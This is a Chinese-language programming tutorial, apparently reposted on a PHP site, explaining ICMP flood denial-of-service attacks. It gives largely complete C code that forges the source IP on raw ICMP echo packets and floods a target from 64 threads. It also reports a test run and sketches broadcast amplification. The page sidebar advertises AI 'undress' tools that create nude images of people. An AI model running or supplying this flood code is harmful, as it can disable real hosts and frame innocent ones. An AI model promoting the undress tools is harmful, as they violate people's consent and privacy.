首頁 運維 linux運維 Linux--ICMP洪水攻擊的實例介紹

Linux--ICMP洪水攻擊的實例介紹

Jun 29, 2017 pm 03:41 PM
介紹 實例

這篇文章主要為大家詳細介紹了Linux編程之ICMP洪水攻擊的相關資料,具有一定的參考價值,有興趣的小伙伴們可以參考一下

我的上一篇文章《Linux編程之PING的實現》裡使用ICMP協議實現了PING的程序,ICMP除了實現這麼一個PING程序,還有哪些不為人知或好玩的用途?這裡我將介紹ICMP另一個很有名的黑科技:ICMP洪水攻擊。

ICMP洪水攻擊屬於大名鼎鼎的DOS(Denial of Service)攻擊的一種,一種是黑客們喜歡的攻擊手段,這裡本著加深自己對ICMP的理解的目的,也試著基於ICMP寫一段ICMP的洪水攻擊小程式。

洪水攻擊(FLOOD ATTACK)指的是利用電腦網路技術向目的主機發送大量無用資料封包,使得目的主機忙於處理無用的資料封包而無法提供正常服務的網路行為

ICMP洪水攻擊:顧名思義,就是對目的主機發送洪水般的ping包,使得目的主機忙於處理ping包而無能力處理其他正常請求,這就好像是洪水一般的ping包把目的主機給淹沒了。

要實現ICMP的洪水攻擊,需要以下三項的知識儲備:

  • DOS攻擊原則

  • ICMP的深入理解

  • 原始套接字的程式設計技巧

一、ICMP洪水攻擊原理

ICMP洪水攻擊是在ping的基礎上形成的,但是ping程式很少能造成目的及宕機的問題,這是因為ping的發送包的速率太慢了,像我實現的PING程式裡ping包發送速率限定在1秒1發,這個速率目的主機處理ping包還是綽綽有餘的。所以要造成「洪水」的現象,就必須提升發包速率。這裡介紹三種ICMP洪水攻擊的方式: 

(1)直接洪水攻擊

這樣做需要本地主機的頻寬與目的主機的頻寬之間進行比拼,例如我的主機網路頻寬是30M的,而你的主機網路頻寬僅為3M,那我發動洪水攻擊淹沒你的主機成功率就很大了。這種攻擊方式要求攻擊主機處理能力和頻寬要大於被攻擊主機,否則自身被DoS了。基於這種思想,我們可以使用一台高頻寬高效能的電腦,採用多執行緒的方法一次發送多個ICMP請求報文,讓目的主機忙於處理大量這些報文而造成速度緩慢甚至宕機。這個方法有個大缺點,就是對方可以根據ICMP包的IP位址而屏蔽掉攻擊源,使得攻擊不能繼續。

(2)偽IP攻擊

在直接洪水攻擊的基礎上,我們將發送方的IP位址偽裝成其他IP,如果是偽裝成一個隨機的IP,那就可以很好地隱藏自己的位置;如果將自己的IP偽裝成其他受害者的IP,就會造成「挑撥離間」的情形,受害主機1的icmp回覆包也如洪水般發送給受害主機2,如果主機1的管理員要查是哪個混蛋髮包攻擊自己,他一查ICMP包的源地址,咦原來是主機2,這樣子主機2就成了戴罪羔羊了。 

(3)反射攻擊

這類攻擊的想法不同於上面兩種攻擊,反射攻擊的設計更為巧妙。其實這裡的方式三的攻擊模式是前兩個模式的合併版以及升級版,方式三的攻擊策略有點像“借刀殺人“,反射攻擊不再直接對目標主機,而是讓其他一群主機誤以為目標主機在向他們發送ICMP請求包,然後一群主機向目的主機發送ICMP應答包,造成來自四面八方的洪水淹沒目的主機的現象。例如我們向區域網路的其他主機發送ICMP請求包,然後自己的IP位址偽裝成目的主機的IP,這樣子目的主機就成了ICMP回顯的焦點了。這種攻擊非常隱蔽,因為受害主機很難找出攻擊來源是誰。

二、ICMP洪水攻擊程式設計

這裡我想實作一個ICMP洪水攻擊的例子,這裡我想採用方式二來進行設計。雖說方式三的「借刀殺人」更為巧妙,其實也是由方式二的偽裝方式進一步延伸的,實現起來也是大同小異。

首先給出攻擊的模型圖:

1.群組ICMP套件

這裡的組包跟寫PING程式時的組包沒什麼太大差別,唯一要注意的是,我們需要填寫IP頭部分,因為我們要偽裝來源位址,做到嫁禍於人。


void DoS_icmp_pack(char* packet)
{
  struct ip* ip_hdr = (struct ip*)packet;
  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

  ip_hdr->ip_v = 4;
  ip_hdr->ip_hl = 5;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
  ip_hdr->ip_id = htons(getpid());
  ip_hdr->ip_off = 0;
  ip_hdr->ip_ttl = 64;
  ip_hdr->ip_p = PROTO_ICMP;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
  ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址

  icmp_hdr->icmp_type = ICMP_ECHO;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
  //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}
登入後複製

2.建立發包執行緒


void Dos_Attack()
{
  char* packet = (char*)malloc(ICMP_PACKET_SIZE);
  memset(packet, 0, ICMP_PACKET_SIZE);
  struct sockaddr_in to;
  DoS_icmp_pack(packet);

  to.sin_family = AF_INET;
  to.sin_addr.s_addr = dest;
  to.sin_port = htons(0);

  while(alive) //控制发包的全局变量
  {
    sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));    
  }

  free(packet); //记得要释放内存
}
登入後複製

3.寫發包開關

這裡的開關很簡單,用訊號量+全域變數即可以實現。當我們按下ctrl+c時,攻擊將關閉。


void Dos_Sig()
{
  alive = 0;
  printf("stop DoS Attack!\n");
}
登入後複製

 4.總的架構

我們使用了64個執行緒一起發包,當然這個執行緒數還可以大幅增加,來增加攻擊強度。但我們只是做實驗,沒必要搞那麼大。


int main(int argc, char* argv[])
{
  struct hostent* host = NULL;
  struct protoent* protocol = NULL;
  int i;
  alive = 1;
  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包  
  int err = 0;

  if(argc < 2)
  {
    printf("Invalid input!\n");
    return -1;
  }

  signal(SIGINT, Dos_Sig);

  protocol = getprotobyname(PROTO_NAME);
  if(protocol == NULL)
  {
    printf("Fail to getprotobyname!\n");
    return -1;
  }

  PROTO_ICMP = protocol->p_proto;

  dest = inet_addr(argv[1]);

  if(dest == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
      printf("Invalid IP or Domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);

  }

  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
  if(rawsock < 0)
  {
    printf("Fait to create socket!\n");
    return -1;
  }

  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

  printf("ICMP FLOOD ATTACK START\n");

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
    if(err)
    {
      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);      
    }
  }

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    pthread_join(attack_thread[i], NULL);  //等待线程结束
  }

  printf("ICMP ATTACK FINISHI!\n");

  close(rawsock);

  return 0;
}
登入後複製

三、實驗

#這次實驗本著學習的目的,想利用自己手上的設備,想進一步理解網路和協定的應用,所以攻擊的幅度比較小,時間也就幾秒,不對任何設備造成影響。 

再說一下我們的攻擊步驟:我們使用主機172.0.5.183作為自己的攻擊主機,並將自己偽裝成主機172.0.5.182,對主機172.0.5.9發動ICMP洪水攻擊。

攻擊開始

我們觀察一下」受害者「那邊的情況。在短短5秒裡,正確收到並交付上層處理的包也高達7萬多個了。我也不敢多搞事,避免影響機器工作。

使用wireshark抓包再瞧,滿滿的ICMP包啊,看來量也是很大的。 ICMP套件的來源位址顯示為172.0.5.182(我們偽裝的位址),它也把echo reply回給了172.0.5.182。主機172.0.5.182一定會想,莫名其妙啊,怎麼收到這麼多echo reply包。

攻擊實驗做完了。  

現在更為流行的是DDOS攻擊,其威力更為強悍,策略更為精巧,防禦難度也更高。
其實,這種DDoS攻擊也是在DOS的基礎上發起的,具體步驟如下: 

    1. 攻擊者向「放大網路」廣播echo request封包
    2.攻擊者指定廣播訊息的來源IP為被攻擊主機
    3. 「放大網路」回覆echo reply給被攻擊主機
    4. 形成DDoS攻擊場景 

這裡的「放大網絡」可以理解為具有許多主機的網絡,這些主機的作業系統需要支援對目的位址為廣播位址的某種ICMP請求封包進行回應。

攻擊策略很精簡,簡而言之,就是將來源位址偽裝成攻擊主機的IP,然後發廣播的給所有主機,主機收到該echo request後集體向攻擊主機回包,造成群起而攻之的情景。

以上是Linux--ICMP洪水攻擊的實例介紹的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1655
14
CakePHP 教程
1413
52
Laravel 教程
1306
25
PHP教程
1252
29
C# 教程
1226
24
wapi是什麼東西詳細介紹 wapi是什麼東西詳細介紹 Jan 07, 2024 pm 09:14 PM

wapi這個名詞使用者可能在使用網路得時候見過過,但是對於一部分人來說肯定都不知道wapi是什麼,下面就帶來了詳細介紹,幫助不知道小伙伴去了解。 wapi是什麼東西:答:wapi是無線區域網路鑑別和保密的基礎架構。這就像紅外線和藍牙等功能一樣,一般都覆蓋在辦公大樓等地方的附近。基本上都是為一個小部門所有的,所以這個功能涉及的範圍只有幾公里。 wapi相關介紹:1、wapi是無線區域網路裡面的一種傳輸協定。 2.這款技術是可以去避免窄頻帶通訊的問題,可以更好的去進行傳播。 3.只要只需要一個代碼就可以去傳送訊號了

詳解win11能否運行PUBG遊戲 詳解win11能否運行PUBG遊戲 Jan 06, 2024 pm 07:17 PM

pubg又稱絕地求生,是一款非常經典的射擊大逃殺類型遊戲,從2016年火爆以來一直擁有非常多的玩家。在最近的win11系統推出後,就有不少玩家想要在win11上游玩它,下面就跟著小編來看看win11是否可以玩pubg吧。 win11能玩pubg嗎:答:win11可以玩pubg。 1.在win11推出之初,因為win11需要開啟tpm的緣故,所以導致很多玩家被pubg封號處理了。 2.不過後來根據玩家的回饋,藍洞方面已經解決了這個問題,目前已經可以在win11中正常玩pubg了。 3.如果大家遇到了pub

Python函數介紹:exec函數的介紹及範例 Python函數介紹:exec函數的介紹及範例 Nov 03, 2023 pm 02:09 PM

Python函數介紹:exec函數的介紹及範例引言:在Python中,exec是一種內建函數,它用於執行儲存在字串或檔案中的Python程式碼。 exec函數提供了一種動態執行程式碼的方式,使得程式可以在執行時間根據需要產生、修改和執行程式碼。本文將介紹exec函數的使用方法,並給出一些實際的程式碼範例。 exec函式的使用方法:exec函式的基本語法如下圖所示:exec

i5處理器是否能裝win11詳細介紹 i5處理器是否能裝win11詳細介紹 Dec 27, 2023 pm 05:03 PM

i5是英特爾旗下的一系列處理器,擁有到現在11代i5的各種不同版本,每一代都有不同效能。因此對於i5處理器是否能夠安裝win11,還要看是第幾代的處理器,下面就跟著小編一起來分別了解一下吧。 i5處理器能裝win11嗎:答:i5處理器能裝win11。一、第八代及之後的i51、第八代及後續的i5處理器是能夠滿足微軟的最低配置需求的。 2.因此我們只需要進入微軟網站,下載一個「win11安裝助手」3、下載完成後,運行該安裝助手,根據提示進行操作就可以安裝win11了。二、第八代之前的i51、第八代之

介紹最新的Win 11聲音調法方法 介紹最新的Win 11聲音調法方法 Jan 08, 2024 pm 06:41 PM

很多用戶更新了最新的win11之後發現自己系統的聲音有了些許的變化,但是又不知道該怎麼去進行調整,所以今天本站就給你們帶來了電腦最新win11聲音調法介紹,操作不難而且選擇多樣,快來一起下載試試吧。電腦最新系統windows11聲音如何調1、先右鍵點選桌面右下角的聲音圖標,並選擇「播放設定」。 2、然後進入設定中點選播放列中的「揚聲器」。 3、隨後點選右下方的「屬性」。 4.點選屬性中的「增強」選項列。 5.此時如果「禁用所有聲音效果」前的√勾上了就把他取消。 6、之後就可以選擇下面的聲音效果來進行設定並點

什麼是狗狗幣 什麼是狗狗幣 Apr 01, 2024 pm 04:46 PM

狗狗幣是一種基於網路迷因創建的加密貨幣,沒有固定的供應上限,交易時間快速,交易費用低,擁有龐大的迷因社群。用途包括小額交易、打賞和慈善捐贈。然而,其無限供應量、市場波動和作為笑話幣的地位也帶來風險和擔憂。什麼是狗狗幣?狗狗幣是一種基於網路迷因和笑話創建的加密貨幣。起源與歷史:2013年12月,兩位軟體工程師BillyMarkus和JacksonPalmer創立狗狗幣。靈感來自於當時流行的"Doge"模因,一個以一隻柴犬為特徵的滑稽照片加上破碎英語。特徵與優勢:無限供應量:與比特幣等其他加密貨

詳細介紹電腦中的印表機驅動程式位置 詳細介紹電腦中的印表機驅動程式位置 Jan 08, 2024 pm 03:29 PM

許多用戶在電腦上安裝了印表機驅動程序,但卻不知道如何找到它們。因此,今天我為大家帶來了詳細介紹印表機驅動程式在電腦中的位置,對於還不了解的用戶,快來看看吧印表機驅動在電腦哪裡找重新撰寫內容而不改變原義時,需要將語言改寫為中文,不需要出現原句首先,建議使用第三方軟體進行搜尋2、在右上角找到"工具箱"3、在下方找到並點選「裝置管理員」。改寫後的句子:3、在底部找到並點擊“裝置管理員”4、然後打開“列印佇列”,然後找到你的印表機裝置。此次是你的印表機名稱型號。 5.右鍵印表機設備,就能夠去更新或卸載我

PyCharm新手指南:取代功能全面解析 PyCharm新手指南:取代功能全面解析 Feb 25, 2024 am 11:15 AM

PyCharm是一款功能強大的Python整合開發環境,具有豐富的功能與工具,能夠大幅提升開發效率。其中,替換功能是開發過程中常用的功能之一,能夠幫助開發者快速修改程式碼並提高程式碼品質。本文將詳細介紹PyCharm的替換功能,並結合具體的程式碼範例,幫助新手更好地掌握和使用該功能。替換功能簡介PyCharm的替換功能可以幫助開發者在程式碼中快速替換指定的文本

See all articles